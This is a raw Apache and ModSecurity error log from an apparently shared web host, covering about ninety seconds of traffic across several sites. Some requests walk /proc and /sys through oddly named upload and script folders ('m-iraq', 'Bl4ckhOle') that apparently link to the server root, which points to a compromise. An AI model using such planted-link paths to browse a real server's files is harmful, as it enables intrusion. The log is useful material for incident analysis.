[Fri Jul 17 09:34:15.455229 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/mouse1/subsystem/input5/phys"] [unique_id "almpv8zGNCrIh2ysmniMcQAAABY"]
[Fri Jul 17 09:34:15.455284 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/mouse1/subsystem/input5/phys"] [unique_id "almpv8zGNCrIh2ysmniMcQAAABY"]
[Fri Jul 17 09:34:15.875908 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:32978] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:17.703397 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:17.904187 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:33034] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:19.891345 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:20.191085 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:20.437777 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:33144] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:20.855794 2026] [security2:error] [pid 2028246:tid 2028246] [client 154.57.193.173:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-global": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "almpwzsMb3am0TgkjEThlAAAAAo"]
[Fri Jul 17 09:34:20.855824 2026] [security2:error] [pid 2028246:tid 2028246] [client 154.57.193.173:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-ip": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "almpwzsMb3am0TgkjEThlAAAAAo"]
[Fri Jul 17 09:34:21.873691 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:22.325859 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:46732] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:22.470144 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:24.015598 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:46804] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:24.717796 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:46848] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:24.789889 2026] [mime:warn] [pid 2050577:tid 2050577] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:25.138978 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:46868] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:26.050995 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:46936] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:26.235879 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event3/device/subsystem/input1/event1/dev"] [unique_id "almpyiRF0UOO1RzB5_81RwAAAA4"]
[Fri Jul 17 09:34:26.235920 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event3/device/subsystem/input1/event1/dev"] [unique_id "almpyiRF0UOO1RzB5_81RwAAAA4"]
[Fri Jul 17 09:34:26.264760 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 47.128.48.106:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/x86_lbr/objs_per_slab
[Fri Jul 17 09:34:27.181672 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:46974] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:27.485644 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:46988] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:32.532312 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:48488] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:32.626499 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:48504] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:33.398337 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/img/college profile icon.png"] [unique_id "almp0ejME1mgqYZ5O94s3gAAAAE"]
[Fri Jul 17 09:34:33.398696 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/img/college profile icon.png"] [unique_id "almp0ejME1mgqYZ5O94s3gAAAAE"]
[Fri Jul 17 09:34:33.442657 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/img/college profile icon.png"] [unique_id "almp0ejME1mgqYZ5O94s3gAAAAE"]
[Fri Jul 17 09:34:33.827764 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:48540] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:36.049631 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:36.172944 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:40.367607 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:41.710537 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:58758] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:42.237866 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 57.141.18.90:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory109/node0/memory80/node0/memory45/subsystem/uevent
[Fri Jul 17 09:34:46.088872 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almp3oe39YUk0SgV8AVBKgAAABE"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:34:46.088920 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almp3oe39YUk0SgV8AVBKgAAABE"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:34:47.224962 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:47.323153 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:47.828920 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:47.866206 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:56.252646 2026] [security2:error] [pid 2050582:tid 2050582] [client 124.43.181.76:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almp6HXJZgUJ1jsEHj0pPQAAABc"]
[Fri Jul 17 09:34:56.252726 2026] [security2:error] [pid 2050582:tid 2050582] [client 124.43.181.76:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almp6HXJZgUJ1jsEHj0pPQAAABc"]
[Fri Jul 17 09:34:59.612763 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/backup/menus/top_links.php"] [unique_id "almp64l9vhFBGA6D8l-BfQAAAAw"]
[Fri Jul 17 09:34:59.613387 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/backup/menus/top_links.php"] [unique_id "almp64l9vhFBGA6D8l-BfQAAAAw"]
[Fri Jul 17 09:34:59.644055 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/backup/menus/top_links.php"] [unique_id "almp64l9vhFBGA6D8l-BfQAAAAw"]
[Fri Jul 17 09:35:01.659398 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:03.387605 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:05.377652 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/module/nft_limit/refcnt"] [unique_id "almp8boj0IkvhSCYadmI3AAAAAQ"]
[Fri Jul 17 09:35:05.377685 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/module/nft_limit/refcnt"] [unique_id "almp8boj0IkvhSCYadmI3AAAAAQ"]
[Fri Jul 17 09:35:06.539340 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:22.298532 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:23.008975 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:24.681249 2026] [security2:error] [pid 2050572:tid 2050572] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/anandaV4/img/youtube image.png"] [unique_id "almqBGuF39UwWB2KWdbQTwAAAA8"]
[Fri Jul 17 09:35:24.681661 2026] [security2:error] [pid 2050572:tid 2050572] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/anandaV4/img/youtube image.png"] [unique_id "almqBGuF39UwWB2KWdbQTwAAAA8"]
[Fri Jul 17 09:35:24.710946 2026] [security2:error] [pid 2050572:tid 2050572] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/anandaV4/img/youtube image.png"] [unique_id "almqBGuF39UwWB2KWdbQTwAAAA8"]
[Fri Jul 17 09:35:25.643901 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:26.932911 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:27.815644 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:28.393236 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:28.516073 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:44756] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:35:31.458175 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/robots.txt"] [unique_id "almqCzsMb3am0TgkjETh0gAAAAo"]
[Fri Jul 17 09:35:31.458496 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/robots.txt"] [unique_id "almqCzsMb3am0TgkjETh0gAAAAo"]
[Fri Jul 17 09:35:31.534530 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almqCzsMb3am0TgkjETh0gAAAAo"]
[Fri Jul 17 09:35:32.103393 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:33.822984 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:34.405141 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:35.197742 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:36.045840 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:36.179529 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqEOjME1mgqYZ5O94tFQAAAAE"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:35:36.179575 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqEOjME1mgqYZ5O94tFQAAAAE"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:35:36.276901 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:38.019480 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:39.023977 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:39.727348 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:40.446607 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 47.82.13.34:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:05.0/firmware_node/physical_node/firmware_node/eject
[Fri Jul 17 09:35:43.039173 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/node/devices/node0/power/runtime_status"] [unique_id "almqF5uhBssQvDAz4zCoLQAAABI"]
[Fri Jul 17 09:35:43.039220 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/bus/node/devices/node0/power/runtime_status"] [unique_id "almqF5uhBssQvDAz4zCoLQAAABI"]
[Fri Jul 17 09:35:43.060657 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:43.684802 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:43000] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:35:44.162466 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:43134] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:35:45.119300 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqGbEWOaI5pmYo9fnWFgAAAAA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:35:45.119335 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqGbEWOaI5pmYo9fnWFgAAAAA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:35:45.299198 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:43172] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:35:45.431506 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:45.708820 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:35:45.719156 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:43186] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:35:47.122557 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:43250] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:35:49.023063 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:43334] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:35:49.141229 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/backup/admin/"] [unique_id "almqHOjME1mgqYZ5O94tIwAAAAE"]
